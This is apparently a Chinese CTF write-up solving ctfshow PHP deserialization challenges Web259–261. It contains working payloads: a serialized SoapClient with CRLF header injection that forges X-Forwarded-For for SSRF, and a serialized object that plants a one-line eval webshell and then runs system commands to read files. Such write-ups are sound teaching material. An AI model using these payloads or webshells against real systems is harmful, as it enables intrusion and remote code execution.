Web259
进入界面,回显如下:
highlight_file(__FILE__);$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
题干里还提示了网站有一个flag.php界面,源代码如下:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}
代码审计:
explode()用于切割字符串。第一个参数是切割符,第二个参数是被切割的字符串。该函数返回一个数组。
$_SERVER[‘HTTP_X_FORWARDED_FOR’]获取用户的IP地址。
所以 explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])
就是获取用户的IP地址,用分隔符逗号,切割不同IP地址,并返回一个数组。
array_pop() 删除数组的最后一个元素。返回数组的最后一个值。
所以array_pop($xff); $ip = array_pop($xff);
就是先删除数组的最后一个值,再将被删减过的数组的最后一个值赋值给$ip
if条件语句要求$ip的值为127.0.0.1,且POST传参token=ctfshow。
file_put_contents('flag.txt', $flag)
将变量flag写入文件flag.txt中。
思路:
在index.php页面下通过反序列化,向flag.php文件发送请求,执行其中的file_put_contents方法,将flag放入flag.txt文件中,然后访问flag.php。
反序列化得到对象$vip后,vip会调用getFlag()方法。
但明显该方法不存在,而PHP中存在一种魔术方法 __call() ,当对象调用不存在的方法时,就会调用__call()方法。
PHP原生类SoapClient可以向网站发送请求,并且其中存在__call()方法,所以我们使用将vip实例化为SoapClient的对象。(要在php.ini中开启php_soap服务)
SoapClient的构造函数:public __construct(?string $wsdl, array $options = [])
第一个参数设置为null即可,第二个数组参数则必需包含uri和location。
脚本构造如下:
$ua = "Firefox\r\nContent-Type:application/x-www-form-urlencoded\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
//请求头之间用\r\n隔开 与请求体之间用\r\n\r\n隔开
$vip = new SoapClient(null,array('uri' => '127.0.0.1','location' => 'http://127.0.0.1/flag.php','user_agent' => $ua
));echo urlencode(serialize($vip));
EXP:
payload:
https://29b9092a-65ed-4299-9bf2-4c208c6003c9.challenge.ctf.show/
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Firefox%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
此时flag已经成功写入flag.txt中,访问flag.txt得到flag.
Web260
源代码:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo $flag;
}
代码审计:
包含了flag.php文件,序列化了参数ctfshow,并在参数中匹配字符串ctfshow_i_love_36D。
思路:
我们向序列化函数serialize()传入字符串时,返回值中还是有该字符串的内容:
因此直接给参数赋值为匹配的字符串即可。
EXP:
payload:
https://ef0558b0-355c-4f58-9236-c5a5a596124b.challenge.ctf.show/
?ctfshow=ctfshow_i_love_36D
得到flag.
Web261
源代码:
class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);
代码审计:
ctfshowvip类中有六个魔术方法,其中构造方法__construct和析构方法__destruct我们已经知晓,接下来介绍其它四种魔术方法。
__wakeup:当我们要调用反序列化函数unserialize时,系统会先调用__wakeup方法。
__invoke:当我们将一个对象当作函数调用时,系统将调用__invoke方法。
比如$vip是一个对象,但是我们用 $vip() 这样的形式使用它,__invoke方法就被调用。
__sleep:与__wakeup相对,__sleep用于将对象序列化之前。
__unserialize: 该魔术方法用于PHP7.4.0及之后的版本。当__unserialize与__wakeup方法同时存在时,将忽略__wakeup而执行__unserialize.
本程序只使用了unserialize,所以在反序列化之前调用了__unserialize方法,之后使用__destruct方法。
思路:
本题要想获取flag,我们要实现RCE操作。
可知code是由username和password拼接起来的,只要code==0x36d,就能将password的数据写入以username命名的文件。
所以username的值应该是一个.php文件,password的值应该是一句话木马。
构造脚本如下:
class ctfshowvip{public $username = '877.php';public $password = '<?php eval($_GET[1]);?>';public $code;
}$vip = new ctfshowvip();
echo urlencode(serialize($vip));
这样拼接之后的$code=877.php<?php eval($_GET[1]);?>
此时code是字符串类型,以数字877开头,这样在与数字0x36d弱比较时,就会将code的值转换为877,从而实现code=0x36d的效果。
到此,我们成功创建了877.php文件,并将<?php eval($_GET[1]);?>写入了文件中,进入该文件,我们即可实现shell.
EXP:
创建文件实现shell:
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/
vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
在877.php下进行RCE:
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('ls');
当前目录下有以下两个文件:
明显flag不在当前目录,我们找一下其他目录:
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('ls /');
在根目录下找到了文件flag_is_here
读取该文件:
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('tac /flag_is_here');
得到flag.